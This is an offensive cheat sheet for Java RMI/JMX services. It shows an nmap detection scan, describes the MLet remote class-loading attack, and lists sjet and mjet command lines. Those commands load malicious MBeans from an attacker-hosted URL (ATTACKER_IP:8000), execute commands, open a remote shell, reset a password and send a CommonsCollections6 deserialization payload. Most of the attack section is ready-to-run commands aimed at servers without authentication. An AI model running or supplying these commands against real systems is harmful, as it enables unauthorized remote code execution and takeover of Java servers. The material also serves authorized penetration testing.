Java RMI

> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.

Summary

Exploitation

Requirements

- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled

Detection

```
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT
TARGET_IP -Pn -v
1089/tcp open  java-rmi Java RMI
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs
which can lead to remote code execution.
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
```

Remote Command Execution

The attack involves the following steps:

- Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
- Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
- Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
- The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
- The attacker finally invokes methods from the malicious MBean.

Exploit the JMX using sjet or mjet

```
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000
8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT
deserialize CommonsCollections6 "touch /tmp/xxx"

jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000
8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
```

References

- ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019
- JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019